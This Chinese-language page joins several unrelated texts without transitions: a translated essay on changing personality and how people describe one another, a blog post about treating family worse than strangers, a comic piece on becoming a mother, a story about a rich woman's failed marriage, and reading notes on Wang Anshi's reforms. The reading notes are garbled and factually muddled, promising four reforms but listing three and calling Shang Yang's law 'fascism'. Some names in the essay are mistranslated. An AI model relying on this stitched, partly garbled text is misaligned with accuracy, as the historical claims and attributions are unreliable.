有人将人类看成行走世间的独立个体，丝毫不受环境和周围人的干扰。这是一个很有吸引力的错误想法。
卡琳·弗洛拉（Carlin Flora）是一名记者，此前曾在《今日心理学》杂志（Psychology Today）担任特刊编辑。她曾在《发现》杂志（Discover）和《科学美国人Mind分刊》（Scientific American Mind）等媒体发表文章。2013 年，她出版了新书《朋友的影响》（Friendfluence）。
本文由 AEON 授权《好奇心日报》发布，你可以在 Twitter 上关注他们。
伊内兹有着卷曲的金发和细长的四肢，在华美服饰的映衬下，她更显得妖娆妩媚。可即便如此，你还是能从她稍微突出的蓝色眼睛中看出她缺乏自爱。在她的眼睛里，一种虚假的情绪隐隐闪烁。伊内兹喜欢盲目模仿那些有男朋友的女生。一些奉承者在背后说了很多她的闲话。根据时下流行的好莱坞电影情节和她表露出的狡猾巧妙的气质，我们不免觉得这些猜想可能不太理性，甚至有些下流。但是，你又不能否认类似的流言总是粗俗且充满夸张的戏剧元素。伊内兹根本不关心这些问题的答案，因此她更喜欢用严肃的语气问候：“你好吗？”这样的情况至少发生了六次。她经常被自己慷慨大方的想法弄得精疲力竭，不过真正导致她身心俱疲的却是自己什么也没有付出的负罪感。
这段有趣的文字出自爱德华·圣奥宾（Edward St Aubyn）的小说《最后》（At Last），描写了伊内兹的外表、社会地位、心理和行为。就描写一个人而言，很难有人能比圣奥宾做的更好。而在日常会话或者约会网站上，人们也绝不可能给对方留下比圣奥宾笔下人物更好的第一印象。即便如此，任何特定读者在阅读时都会将自己理解、记忆和世界观强加于伊内兹身上。一千个读者心中就有一千个伊内兹。同时，她又是象征自己所处社会环境最差情况的标志——讽刺有些人喜欢模仿冒充的性格。
虽然通常情况下的我们没有圣奥宾那样出众的描写天赋，但我们还是时常描述我们自己和他人。有时候这样做的风险很低，比如闲聊时；有时候这样做的风险很高，比如给一个前来找工作的应聘者下结论或者为朋友介绍对象时。
作家们追求的是情绪颗粒度（emotional granularity，指将情绪进行精准细分描述和感知的能力，高情绪颗粒度意味着能够更精确地体会这个世界的质感以及内心细微的变化与涌动——译者注）、重要的细节和恰当的隐喻。社会学家和人格心理学家则发明出类似“大五类人格测试”（Big Five）这样确定个体人格特征的分类工具。
在“大五类人格测试”中，研究人员将对受试者的外向性、情绪不稳定性、亲和性、开放性和严谨性进行测试。如果我给你描述的是一个“来自美国中西部地区的中年亚洲人，样貌不错，性格外向，和蔼可亲，情绪不太稳定，思想开放”，你根本想象不出她真正的样子。你脑海中有的仅仅是模糊的框架式印象罢了。
每个人都有自己的语言习惯和行为怪癖，而我们的气质性格中至少有一部分是与生俱来的。甚至来说，我们的行为特征和日常习惯也是生下来就确定好的。但随着时间流逝和环境变迁，所有这些特征都会发生改变。
如果有一天怪癖不再是怪癖，我们便会改正自己的行为。我们将自己的性格特征“封存”在自己结实独特的躯体之内，坚信自己的性格一定经过充分改造定型，将会始终保持一致。然而，性格却并不是这样。从流行心理学图书作者、商学院教授到占星家，每个人心中都有一套评估他人的办法。如果我们真的能评估他人，难道现在不应该存在一种非常流行的评估手段吗？
实际上，最近有两个打破陈规的研究表明，人格特征会渐渐发生改变，而且经历一段时间后可能会出现天翻地覆一般的变化。当人们接受治疗性干预之后，人格特征的改变速度会相当快。
一百万个细小的人为因素——语调、鞋子的品牌、微笑的频率——才能构成一个人完整的人格特征。我们很难将其拆开从而一个个详细审视，也很难确定的将其描述出来。如果一个人身上有多种特征，甚至是特征数量多到趋近于无穷，我们应该如何形容这种无穷？对于理论数学家而言，这是一个合情合理的问题。但在与数学截然不同的性格科学领域，大部分情况下，人们更相信感觉而不是精度。
作家是最能捕捉到这种不断变化状态的群体，他们在描写角色时有着自己的固定步骤。日常生活中，我们也会在不经意间描述他人。只不过我们没有注意到，其实我们自己也有一套描述别人的固定步骤。
我们想让听众喜欢自己描述的这个人吗？想让听众在这个人身上看到自己的影子？想让这个人与我们形成对比，从而突出我们的优点？我们身边的人不断改变，而我们的目的和意图有人处于变化之中。有时候，想要实现自己社交目标的先决条件便是假装其他人都有自己的性格和特征。
与他人相识后，我们脑海中会出现大量感觉和印象。这些感觉和印象就好像混乱的马赛克一样，在我们的思维中慢慢组装聚合，形成整体。玛丽·盖茨基尔（Mary Gaitskill）在她的小说《母马》（The Mare）中形象的描述了这个过程。《母马》的主人公叫瓦尔维特（Velvet）的姑娘，生活在纽约的布鲁克林。她与来自纽约州北部的中年女性金洁尔（Ginger）以及家里附近马厩里的马匹关系很好。金洁尔这样形容瓦尔维特的母亲艾丽西亚（Alicia）：
我花了一分钟才意识到，她之所以让人感觉到体内充满力量，原因不是发达的肌肉和高大的身材。真正的根源在于她的性格：她体内好像有一个大水箱一样，能装得下一切。
后来，金洁尔遇到了一个名叫贝弗莉（Beverly）的驯马师：
她的眼神单纯，但却流露出猩猩一般的狂野、侵略性和狡猾。她目光如炬，你很难通过她的眼睛直视她的内心。她言语上客气礼貌，但脸上却带着青年人那种不屑和嫌弃的表情。她看上去像是那种能把孩子引向歧途的家伙。
这些外观描写是读者了解人物内心的“入口”。不过，我们更多能了解的是金洁尔的内心。也许她认为自己给出的是关于他人性格的描述。但实际上，这都是她本能直觉的体现。直觉与她的心理状态混合在一起，进而塑造出他人在她眼中的形象。通过看待这两名女性的方式，我们能发现金洁尔对危险有着敏锐的感知。艾丽西亚和贝弗莉后续的行为会告诉我们金洁尔的直觉是否准确。小说作家们都明白一个道理：相比于描写一系列性格特征而言，刻画笔下人物的行为才是揭示他们内心世界的最好手段。
缺乏环境的烘托，人物性格就无法得到充分表现。作家们了解这一点，因此他们通常不是直接透露某人的“真相”，而是让角色对自己的评价与他人对角色的评价形成鲜明对比。为了达到最好的喜剧效果，圣奥宾为读者展现了伊内兹的自我概念有多“脱节”。
在这个领域中，小说作家比外行有优势：精明的旁观者能够从人物角色的自我评价和行为举止之间找到差异。不过，无所不能的小说作家无需为读者将整个拼图都拼全：他塑造了笔下的角色，也了解这个人物。同样，如果能摒弃附着在一个人身上的刻板印象（比如一个人是来自德州的年轻工人阶级）而给他全新的评价和判断，我们就可以纠正自己心中的刻板印象。这种对比让我们知道，认定一个人的性格特征始终如一是一件荒谬可笑的事情。与真正的战争英雄相比，自负自夸且喜欢舞弄枪支的德州人就显得不那么勇敢无畏了。
在阿德尔·瓦尔德曼（Adelle Waldman）小说《纳撒尼尔的爱情故事》（The Love Affairs of Nathaniel P）开头，书中角色纳特（Nate）前去前女友埃莉萨（Elisa）的公寓参加宴会：
每次纳特看到她时，埃莉萨的美貌都让他心头一震。好像在那一瞬间，因为分手而引发的受折磨情绪迸发而出，进而扭曲了纳特脑海中关于埃莉萨真实样貌的记忆。在纳特记忆，埃莉萨是一个卑鄙可怜的生物。可是当她打开门时，纳特竟然看到了一个生机满满、健健康康的美丽女子。
然而几分钟后，埃莉萨又开始发牢骚。此时，纳特回想起了她被宠坏的性格和暴躁的臭脾气：
她的美貌变成一种刺激，一种卡利普索风格（Calypso，海中女神，荷马所著《奥德赛》中人物——译者注）的诱惑。因为这种美丽，他又一次深陷其中。除此之外，当他用叉子轻轻拨动面前的鸡肉时，纳特注意到埃莉萨鼻子上的毛孔和前额上的粉刺。粉刺就长在埃莉萨的发际线旁边。这都是细小的瑕疵，对大多数人而言，在女士身上发现类似的问题都是不绅士的作为。但对埃莉萨而言，我们似乎应该用奥林匹克标准的完美容颜来评判衡量她的美丽。如此一来，鼻子上的毛孔和前额上的粉刺这样的缺陷就成了评判她的证据，使得纳特对她的印象打了折扣。当然，这是不合理的想法。
埃莉萨形象的变化不仅仅体现在她人物性格与外在特征之间的联系上，更体现在两者的变化过程中。浪漫多情的纷扰纠葛决定了我们如何感知他人以及如何采取行动。看着一个人在不同人群面前改变的过程能为我们提供很多有趣的信息。如果你看不到一个人与他人频繁的互动过程，那你只能凭借自己的理解和印象对他进行“评价”和“描述”。这时候，你评价和描述的其实并不是真正的他。
在描写角色特征的过程中，小说作家慢慢推动故事情节发展，同时渐渐将自己的想法展现在读者面前。瓦尔德曼的文字告诉读者纳特是一个善于观察和有自知之明的人：他知道自己对于埃莉萨缺点的批评太过小气且荒谬无理，但又能用微妙精致的理由解释自己为什么会有这样的想法。正因如此，纳特在小说后面才做出了脱离自我意识的举动。对那个被他随意虐待女性而言，沮丧和挫败来的更加凶猛。盲点让我们了解一切，而每个人身上都有盲点。
我们都有猜测他人如何对待我们和看待我们的想法。有时候，我们甚至还会不理性的想要知道他人的行为习惯。这种想法和欲望使我们拼命的想要给他人确定固定的性格，全然忽视一切能证明人类性格其实是不断改变的证据。我们想要一劳永逸的找到自己的位置，然后把所有人都安排到正确的位置上。这就好比把玩具整整齐齐的放在玩具屋里制定的位置一样。放好之后，我们便可以高枕无忧的尽享一切。
大量流行心理学和商业类的励志书籍为我们提供了用来评价自己和他人的测试以及定制式原稿。各大公司招聘员工时也依旧会用早就被证明根本不能预测个体未来表现的性格测试考察候选人。的确，利用我们想要控制复杂社交世界欲望的做法是不合理的。我们对自己和他人的评价描述虽然不具有决定性作用，但这种框架式概念却能揭示我们自己和所关心之人内心的行为和思考模式。其实，我们的行为和思考模式非常有趣。每个人都想知道自己在《权力的游戏》中对应哪个角色，这只是一种自然的本性罢了。
分析自我和他人是一个很有意思的消遣活动。有时候，这是一个残忍而使人痛苦的过程。当然，大多数情况下，分析自我和他人还是轻松愉快的。但是，流言蜚语会慢慢进化成一种复杂的生存机制。性格分析是我们认识他人的重要环节，但它的深层目的绝不是让我们对他人产生一成不变的印象。相反，性格分析能帮我们理解不断变化的常规情况，为我们
的群体增添生机和活力。评价描述他人时，我们其实就是将自己与他人绑定在一起，形成联盟。在这个过程中，我们可以估算出别人如何理解感知我们在未来的一举一动。每个人都在其他人身上做着测试，利用的对象包括共同朋友、泛泛之交、杰出人物和社会名流。如果我们都能认识到人的性格特征处于不断变化状态，那就会将八卦流言的重要性过度复杂化。
社会科学领域的数据资料显示，大约五十多年里，人格心理学领域的研究人员描述个体特征使用的都是相同的模型和词汇。在这些模型中，研究人员可以将你划分到“高”、“中”、“低”三个等级之中的任何一个，也可以用“大五类人格测试”的任何一个维度对你进行评价。最终，你会被划入一个子类型之中，比如“活泼型人格”或者“风险回避型人格”。适用这套体系的问题在于，人们并不符合评价体系描述的维度，通常也不符合极端条件的定义。各种倾向虽然真实，但却不像逆倾向那样具有揭示意义：一个朋友性格外向，但与同事在一起时却少言寡语；一个女儿在学校时平易近人，但在家却脾气暴躁。
很多心理学家一直认为人的性格在童年形成，此后便保持恒定不变的状态。但是，一些新的研究对这个理念提出质疑。今年一月，《心理学简报》杂志（Psychological Bulletin）发表了一篇元分析。研究人员发现，人的神经质现象会随着年龄的增长逐渐减弱。更令人惊奇的是，研究人员还发现几个月的心理治疗便能大幅度减轻一个人身上的神经质现象，效果大致是神经质患者四十年生活磨砺的一半。另一个发表在《心理学和衰老》（Psychology and Aging）的研究则首次比较了同一个人不同时期的性格。他们在测试对象青少年时评估了其性格特征，又在六十三年后再次对其进行评估。虽然他们使用的评估手段与“大五类人格测试”不太一致，但测试对象在 14 岁和 77 岁时的得分表现并不相同。
其他研究表明，城市和地区也有自己的性格特征（是的，加州就是懒散型性格）。这可以从两个层面帮助我们了解当地居民：要么是生存环境对他们产生影响，要么是他们因为自己的个性而选择了具有特定性格的城市和地区。
一个人的朋友和家庭成员也不会断对他产生影响。看看证据充分的“社会传染”（social contagion）效应就知道了。根据社会传染效应，我们身边的人会影响我们的习惯、价值观和情绪。有人将人类看成行走世间的独立个体，丝毫不受环境和周围人的干扰。这是一个很有吸引力的错误想法，而我们不能犯这样的错误。
人格心理领域的科学家发现了很多真相，而一个关于性格的理论似乎符合很多这类真相的描述。在这个理论中，环境因素和生活阶段都能对人的性格产生影响。布莱尔·利特尔（Brian Little）是剑桥大学的心理学家，他在新书《我、我自己和我们》（Me, Myself, and Us）这本书中刻画了性格的三个方面。第一个方面是“生物学天性”，包括主要由基因决定的神经生理学特征；第二个方面是“社会学天性”，包括文化和社会对我们行为和思想的影响；第三个方面是“场景特定天性”，它使你成为与众不同的人。
利特尔所说的“个人计划”其实就是我们在任何特定时间所要实现的目标、梦想或者需要面对的压力环境。“自由性格”与我们的生物学天性背道而驰，但却能帮助我们实现所有的“个人计划”。比如说，和蔼可亲的人在督促配偶过上健康生活时会变得苛刻难缠。如果我们想要评价形容一个人，就需要知道她在特定时间的核心追求和目标。她可能为了实现目标而按照“与个性不符”的方式行事，而不是展现自己长期以来对外示人的态度的方法。
如果你既是散文大家又是声名卓著的精神治疗医师，那你应该能够很好的理解性格的概念和局限性。但是，亚当·菲利普斯（Adam Phillips）在 2014 年接受《巴黎评论》（The Paris Review）采访时却给出与我们的猜想完全不同的答案：
当人们说“我是这样一类人”的时候，我的心总是一沉。我们有很多公式，能用大概十个公式定义自己的性格、喜欢的东西、喜欢的人等一切。但是，这些公式的描述词语与人们在生活中体验自我的差距非常之大，大到令人觉得荒谬可笑。这就好比画作下面的标题。你以为自己知道这幅画的名字。但是实际上，你还是要仔细看画才能了解它的内容和内涵。
菲利普斯表示，精神分析学应该告诉我们自己因为焦虑而产生的想要了解自己和他人的渴望有多么强烈。在他看来，“不知周围发生何事但却自我的活下去是一件有可能的事情”。
虽然我们永远不会停下了解他人的步伐，但菲利普斯的看法却给了我们尖锐的提醒：当我们用“目中无人”形容孩子，用“生活贫苦”形容朋友，用“放荡不羁”形容泛泛之交时，我们便阻挠了他们成长和改变机会。同样，我们也限制了他们走出矛盾、打破陈规和即兴发挥的空间。接受性格的不确定性和随时改变性，我们才能更加慷慨大方的接纳他人。同时我们也能说服自己，让自己相信只要想要改变就能达成目标。
翻译 糖醋冰红茶
题图来自《黑天鹅》
我们总是把坏的留给亲人，好的留给外人
1
怀左老师的那篇《我拿钱请你吃饭，你却只知道低头玩手机》在群里引起了同学们的热议，大家纷纷暴出自己所遇到过的各种尴尬饭局。
而我更是首当其冲，莫名其妙的躺枪了。
原因是女友不知从何处看见了这篇文章，看完后随即把文章链接给我发了过来并说道：
“这篇文章你看了吗？”
“看见了，我们老师写的”
“你看看你，你平常多不尊重我，就知道玩手机，都不搭理我。”
我想反驳，打开聊天页面，却又不知道该说什么。
因为，她说的都是实话。
我平常在与一些相对不熟的人吃饭时，为了表示尊重，都会把手机放一边，那怕再多消息都不会去看。
但是每次我跟她吃饭的时候常常都是手机不离手，眼睛不离手机，说什么都是简单的几个字“嗯、好、可以、随便、就这样、怎么都行！”
虽然我很无奈，但也无力反驳，发了一个微笑的表情，给自己找了个台阶下。
仔细想想，我们对自己亲近的人总是很随意，反而面对那些陌生的人我们总是格外的认真，并且把自己最好的一面都展现给了与自己并不熟悉的陌生人。
其实那些与自己亲近的人给予我们的，远远要比陌生人来的多得多。
若要用数字来做比较的话，那恐怕用数百倍的量来衡量都任然会觉得苍白。
生活中我们在面对陌生人的时候，总会不由自主的的把自己最好的一面展现出来，时常还会为了自己的表现不佳而感到自责。
相反的，面对自己的家人与朋友，那些与自己亲近的人的时候，我们会变得苛刻许多，时常一言不合就会发火。
我们总是这样，总是把最好的一面留给陌生人，而把最坏的一面留给了与自己亲近的人。
2
前不久在网上看了一个小故事，孩子过年的时候给父亲买了一部智能手机，父亲高兴的同时，却也遇到了难题。
没有用过智能手机的父亲，面对新的手机却不会使用，便让儿子教自己。
可父亲年事已高，记忆下降不少，儿子所教的那些总是转头就忘，最终儿子不耐烦的直说父亲太笨，自顾自玩儿去了。
可真的是父亲太笨了吗？还是作为孩子的我们没有耐心？
有多少人和这个孩子一样，在生意场上接待每一个客户的时候，总是会很有耐心的去跟他们一遍一遍的讲解，直到他们听懂为止！哪怕在刁钻的客户都是很有耐心的讲解着。
有多少人像会像那孩子一样，常常在外面很有耐心，见谁都能侃侃而谈，而面对家人朋友却只是有一句没一句的应付着？
又有多少人在外边受了客户的委屈，却还是面带微笑，一副若无其事的样子，回头却总是会把这些委屈都转移到自己亲近的人身上？
这让我想起了之前网上看到的一句话：
“人总是这样，对于亲近的人太苛刻，对于陌生的人显得过于宽容。”
3
晚上无意中看了群里转发的一个采访视频，记者采访了几个孩子的父母，分别问了每位父母两个问题，第一个问题是“如果你的孩子生病了，你会拿出多少钱来给他治病”。
答案大同小异：“无论如何哪怕卖房卖地，都要拿钱给孩子治病。”
而当问到第二个问题：“当你们自己生病的时候，你会给自己拿多少钱去治病？”
这时，每位父亲母亲的回答就不一样了：
“10万？20万？，最多20万，反正不能拖累孩子！”
“看看检查结果吧，要是晚期，绝对就不治了，治了也没用，还给孩子增添负担。”
“那我肯定不治了！不能让孩子担心。”
“绝对不能给孩子添麻烦！”
从视频中可以看出，每一位父亲、母亲都把自己置身于事外，为了能把自己孩子的病治好，可以付出自己所有，而到自己生病的时候，为了不给孩子添麻烦，可以舍去自己生命，一切的一切都是站在孩子角度去考虑问题，把最坏的都留给自己，最好的都留给孩子了！
也许是和那些与自己亲近的人太过熟悉，习惯了从他们身上获取，以至于到最后一切都变成了理所应当，常常以怨报德而不知包容和改正，伤了与自己亲近的人，看不见他们对自己的付出，却成就了那些与自己毫不相干的陌生人。
4
回过头仔细想想，当你缺钱时，不用打招呼，他会自会雪中送炭的人，往往是你家人！
当你失业、失恋时陪你喝酒，听你诉苦，任你瞎闹，最后还给你收拾烂摊子的人，往往是你最要好的朋友！
当你干架时，不用说，他自然会脱掉上衣站在你旁边的人，往往是你最要好的兄弟们！
其实他们才是最在乎你的人。”
他们总是能包容你的过错，原谅你的不羁，接受你最坏的一面！
而我们却常常把这一切都视为理所应当，甚至变本加厉的去索取，忘了他们才是最爱我们，最在乎我们的人。
所以，我们对那些爱我们，在乎我们的人应当多一些体谅，少一些烦躁，多一些包容，少一些吝啬，把最好的自己留给最亲近的人。
不断进化变异的物种叫“妈妈”
这个世界上有一种需要不断变异、不断进化才能适者生存的物种，这个世界上有一种需要长成三头六臂才能应付每日日常生活的物种，这种物种叫——妈妈！
当人家女儿的时候，被父母百般呵护，五谷不分、六体不勤，大学毕业只会做一样饭——泡方便面；只会炒一样菜——西红柿炒鸡蛋。当了人家的老婆，有了自己的小家，总不能一天三顿下馆子，钱包受不了，更关键的是身材瘦不了！好吧，于是，开始进化！平生第一次走进菜市场，看着琳琅满目，五颜六色的各种蔬菜，叫得上名字的，叫不上名字的，统统不知道该怎么把它们炒熟了！于是站在两位貌似“大厨”的菜贩面前，撂出一句话：“你们谁告诉我这菜怎么做，我就买谁的菜！”慢慢地，通过发扬这种好好学习，天天炒菜的精神，终于学会了几道家常菜，甚至还悟到了炒肉要想肉质鲜美必须要热锅冷油的大道理！
终于要当妈妈了！十月怀胎，好不容易减下的肥又开始跟自己形影不离，挥之不去！孤独地躺在产床上，疼痛到不能呼吸，但是我要进化成“妈妈”了，怎么能怕疼怎么能怕苦！于是在每一轮疼痛欲死的阵痛中，小声念叨：“天将降大任于斯人也，必将苦其心志……”
进化成为妈妈，才知道自己真得是那个“斯人”——天已然降大任于己也！于是乎，各种变异开始！曾几何时，觉得吃别人的剩饭是天底下最恶心的事儿，可是，进化变异之后的我吃起女儿的剩饭毫不嘴软；曾几何时，娇弱得肩不能担担手不能提篮，但进化变异之后，妈妈们仿若大力士化身，一手抱儿一手煮饭也是没啥大不了的；曾几何时，总觉得自己最缺乏的就是艺术细菌，但进化变异之后，孩子上幼儿园的妈妈们生生都被开发了各种潜能——做手工做泥塑，甚至还会嗲声嗲气来一段诗朗诵，甚至还会给孩子来段歌伴舞！至于变身理发师，变身魔术师，也是分分钟的事儿！做饭，那再也不是事儿！各种精心摆盘各种烘焙技艺，小到各种小点心小饼干小甜点冰淇淋，大到牛排披萨咖喱鸡翅饺子云吞，一个人应付十个八个饥饿食客，那都不是事儿！
各位看官以为进化成厨师理发师清洁工陪玩师就OK了？NO! NO! NO! 一日当妈，终身当妈，不断变异，不断成长！且看——
孩子上学啦！妈妈的人生考验才刚刚开始！孩子上学之前的所有考验仅仅只是一场热身！注意啦！注意啦！妈妈们新的变异进化开始啦！吃瓜群众搬好小板凳备好小零食，一场集悲剧、喜剧、闹剧、伦理剧、家庭剧、宫斗剧、励志剧于一体的世纪大片即将开演！
首先，妈妈们要进化成“全科教师”！何为“全科教师”？简言之，就是你得集语文老师英语老师科学老师体育老师音乐老师于一体！高考之后，你曾暗自窃喜——数学君，永别啦！高兴早了吧！如果数学是个曾暗恋你的男生，他当时一定对着你决绝远去的背影，意味深长来一句：“后会有期！我在前面等你哦！”若干年之后，当你沦为一个妈妈，你的人生注定还要和数学纠缠不休，一切都是逃不脱的宿命！那些聪明人说的真没错呀——活到老，学到老！这是真理啊！不学习，你怎配当妈妈！
其次，妈妈们还要进化成“情绪管理师”！多少次，当孩子学习不认真态度不诚恳且屡说不听的时候，你得用尽洪荒之力，控制自己的情绪！终于，还是没有控制住，一场家庭大战瞬间开战！战争果然没有胜利者！两败俱伤，各自舔舐伤口，一夜无话。翌日一早，依旧做好早餐，笑脸相迎，一切都好像什么都没有发生过一样！甚至有时候还得贱贱地说一句：“妈妈So sorry啦！不该对你发脾气！下次我会控制好情绪，但是也请你以后认真一点，好不好？”
天哪！以前何曾这样低声下气低眉顺眼地说过话！是谁曾经曰过：“本小姐根本不知道‘对不起’三个字是怎么写的！”你曾经的骄傲都会成为今日打你脸的巴掌，于是终于明白男人最高级的报复方式就是——把你变成一个妈妈！你不是不会道歉吗？当妈就会啦！你不是一言不合就发小姐脾气吗？当妈你就不会啦！
至于当妈还能进化变异成什么？且行且变异吧！也许最终真会变异成一头吊睛白额大虎，亦或成为三头六臂无所不能的妖精？谁知道呢！
难过吗？伤心吗？心酸吗？是滴是滴！如果有可能，真想请个假辞个职！
后悔吗？
午夜梦回之时，深夜难眠之时，扪心自问，我的答案都是 “不“！还好还好，当初你选的男人虽然无法替代你的诸多责任，但是人生坎坷路上，他用心陪伴从未缺席；当初你生的小孩虽然时常闹闹小脾气，但是她也带给你很多的快乐！正是因为她你才努力成为更好的自己！她的内心深处一定是无比爱你的！也许来生我们不会再见，但是今生他们是你无比亲爱的家人！风雨同舟，相爱不伤害，今生让我们相互扶持相互鼓励相互说句：对不起！谢谢你！我——爱——你！
什么让我们快速成长？什么让我们不断进化？当妈呀！这是世界上最锻炼人的职业！一日当妈，终身进化！很努力很努力地做一个妈妈吧，因为做好真得不容易！
最后吐槽一下：很多公司招聘时，妈妈们位于鄙视链的顶端，甚至此生再也无法成为office lady!要我说，这老板真傻，妈都能当，还有啥干不了的！在此，隆重表扬一下我们集团的老板，他赞美我们妈妈团队是最靠谱的！老板，非常有眼光！
这个白富美是输了还是重生了
莲花这个名字很土吧？可是人却是个白富美。
父母曾是职权部门的领导，几个哥哥或混政界，或经商，都很是成功，对于唯一的女儿和妹妹，大家都对她宠爱有加。女孩子倒是没被宠坏，除了性格有点娇纵之外被宠得活泼开朗，还沿续了家族的传统，工作上也极为的能干。
莲花是真正的白富美，皮肤雪白，个子不高不矮，不胖不瘦，唇红齿白，长得好看，工作好，家庭条件又好，自然受到男孩子们的追捧，可是莲花挑来拣去的，挑中了单位上一个新来的大学生木子，木子高高瘦瘦的，眉清目秀，腼腆忠厚，做事能干外带能吃苦，很得领导欢心，是市郊区农民的孩子。他再也想不到美丽㓉泼的莲花会看中他，自然是喜出望外。
两个年轻人你浓我爱的恋爱没多长时间就举行了婚礼。婚礼办得隆重而热闹。
由于木子家是农村的，供一个大学生已捉襟见肘，更重要的原因是莲花家有这个条件和实力，于是新房由莲花父母提供，婚礼由莲花家一手操办，在城里办的，婚宴上，男方家长和女方的父母一比，不仅样子更为苍老，让双方父母上台致词时，对比女方父母站在台上，顾盼有神、妙语如珠的致辞，更显得木子父母神态畏畏缩缩，让宾客们纷纷窃窃私语，说真是老鸹窝里出凤凰，这样的父母竟然生出这么优秀的儿子。
婚礼结束后，木子父母想让莲花和他们回村一趟，好让村里人都知道儿子娶了个漂亮的城里媳妇，但莲花却以要去蜜月旅行，单位没有多少假期为由拒绝了他们。此时，木子父母也看出来了这个媳妇和村里的姑娘们是多么的不同，而且儿子也不再是他们的儿子啦，此后，木子父母再也没上过儿子的门。
婚后，木子发挥从小就能吃苦耐劳的精神，家务全包，单位上也一如继往勤勤肯肯的工作，并不以娶了某局长的妹妹而自傲，在人家还在论资排辈时，而他顺利的高升为副科级。回到家中，很是感谢了莲花一番。
幸福的日子总是过得更快，莲花怀孕了，木子的母亲想拿些土鸡给媳妇补补身子，可是莲花自怀孕起脾气见长，木子体谅莲花的孕吐，最终不愿违背莲花的旨意，自己去乡下父母那儿拿走了土鸡。
很快，莲花十月怀胎生下一个女儿，莲花父母为她请了月嫂，木子父母倒没有因为生的是个女孩子而不高兴，而是开心的准备了上百个土鸡蛋，染上艳艳的红色来喝孙女的满月酒，满月酒还是在城里酒店操办的。
莲花听说木子父母要来，早早的吩咐木子买好了消毒喷剂，在酒店，木子父母笑得见牙不见眼的要去月嫂手里抱孙女，这时，莲花以迅雷不及掩耳之速冲过来，把消毒喷剂对着老人狂喷一顿，才让他们抱娃娃。
木子全程看到了这一幕，在散席后，第一次违逆了莲花的意愿，站在门口送领导宾客，而是送父母去汽车站搭车回乡下。临上车时木子看着父母操劳过度的面孔，百感交集。木子父母只是叹了一口气，什么也没说就上车了。
从此，木子留在单位加班的时间越来越多，莲花在家对他的颐指气使时也不像以前那样温厚的笑笑而已，除了和以前一样唯命是从之外，只是变的更加沉默寡言。
随着女儿的长大，家中开销自然也增加，木子虽然当了个小领导，但脑子也是木的，不知道赚外块，只会拿死工资，莲花工作清闲，于是起了开酒店的念头，自家兄长、老公都可以带生意过来，还有个二哥是开公司做老总的，自会指导她。
于是莲花的酒店如期开起来了，莲花她精明能干，又有人脉，生意也如她的愿红红火火起来。
莲花每天收着红彤彤的钞票，对着木子说：我们女儿一天大似一天，用钱的地方多着呢，你这个榆木脑袋，别的钱不敢赚，单位上的客得都拉到我店里来。
木子从不过问莲花赚多少钱，但他真的把单位上的客饭之类的都拉到莲花店中，这原本也没什么不好，很正常的，招待标准又没超标。
因为酒店生意好，莲花每天忙得连轴转，把女儿送到父母家，更是全身心的投入到做生意上去了。
慢慢的，莲花发现木子竟然有时候还夜不归宿，而且一天对着她也没一句话。同时也听到了风言风语。
莲花放下酒店一切事务，跟踪调查了木子，发现木子的情人是个寡妇，名字叫书荷，其貌不扬，黄瘦着一张脸，丈夫出车祸死了，在工业园一家私人厂子里做会计，经常上木子单位办事，一来二去就勾搭上了。
莲花像是塌了天般的回到娘家，向父母兄长搬救兵，要那个开公司的哥哥带些黑道上的人去砸了那寡妇的门。
莲花那现在已当了组织部长的哥哥阻止了她，商量的结果是莲花这个家不能散，他去出面找木子谈。
木子见到这个大舅哥，丝毫不觉得意外，叫了声大哥，平静的拿出了早已打印好的离婚协议书，说希望大哥转交给莲花，他对不起莲花，也没脸见莲花，家里所有一切都是莲花赚来的，自己的工资少得很，所以所有财产存款全部归莲花，房子本来就是老丈人买的，更是不能要，他净身出户，以后他每个月都会付生活费给丈母娘，请她帮照看女儿，因为他估计莲花对女儿的抚养权是不会放弃的，只求莲花能看在女儿的份上能让他经常去看女儿。
莲花的大哥一阵语塞，半天才反应过来自已的使命，他暗示木子如果能回头，那么今年木子能再进一步，升上局长的宝座。
木子拒绝了，说他已申请去偏远的工业园区上班。
莲花的大哥怒了，问他：我们莲花虽然生了孩子，可也没人老珠黄，比你那个小会计不知道强到哪儿去了，而且莲花拼死拼活的赚钱为了这个家，你为什么要这样伤害她。
木子哽咽着哭了，说：我们本来就不应该在一起的，我的父母本来就是农民，他们从满月看到了孙女，到现在孙女四岁了，就再也没见过了，每次只能等我的照片寄回去过过眼瘾。可是我又有什么资格去指责莲花呢？她确实是全身心的投入在这个家，为这个家付出了很多，可是我和她在一起就觉的紧张，生怕说错一句话，做错一件事惹她生气，而我和书荷在一起就很放松。莲花还年轻，我已经对不起她了，以她的条件可以找比我条件优越一百倍的男人。
莲花的大哥看看未老先衰佝偻着背的木子，至此，已知大势所去，叹了口气带着离婚协议书回去了。
莲花大哥回家把木子的话一说，离婚协议一拿，本来摩拳擦掌的莲花二哥一下子就偃旗息鼓了。
莲花的家人都劝莲花签字离婚，最终木子只带了几件换洗的衣服就搬到了书荷家，木子每月拿出工资卡上一半的工资去给莲花的父母做女儿的生活费，也经常带女儿出来和书荷一起玩。
莲花还是那么的白晢美丽，生意也越做越大，有一天莲花在父母小区外看见温婉的书荷，黄着张脸，笑脸盈盈地迎接着木子和自己的女儿。莲花别过了脸，趁他们没看见自己时赶紧缩回了豪车里。
读书第四天 王安石变法
中国四千年的历史上，有四次变法，如果都归于惨败，最成功的一次是法家商鞅法西斯主义。
一次是汉武帝时，另一个是在王莽当政时。第一次是按照桑弘羊的国家资本财政论，虽然战争延绵，国库赖以增富，但是终于几乎招到叛乱而终止。第三次因王莽被推翻而新政也结束。如今王安石第四次失败。
王安石是个怪人、思想、人品都异于常人。王安石衣裳肮脏，须发纷乱，仪表邋遢。张方平在王安石做同僚时因相处不适而将他歧拒以后便不再与他交往。张方平也许把此事和苏洵说过导致苏洵对王安石一直没有好感，当时他就预断王安石会成为国家一大害。当时是仁宗皇帝在位，他会王安石一直都没有好感，当然在王安石的日记中也提到他对仁宗的挑剔也特别的苟酷。
当时王安石接任三司官时，就上书给仁宗，上书内容长达万言，在言书中陈明他对改革财政的基本原则“因天下之力以生天下之财，取天下之财以供天下之费”总之万言书中论到政府的每个方面，财政、官制、教育无不在内，但仁宗皇帝看完他的万言书就署诸高阁了。
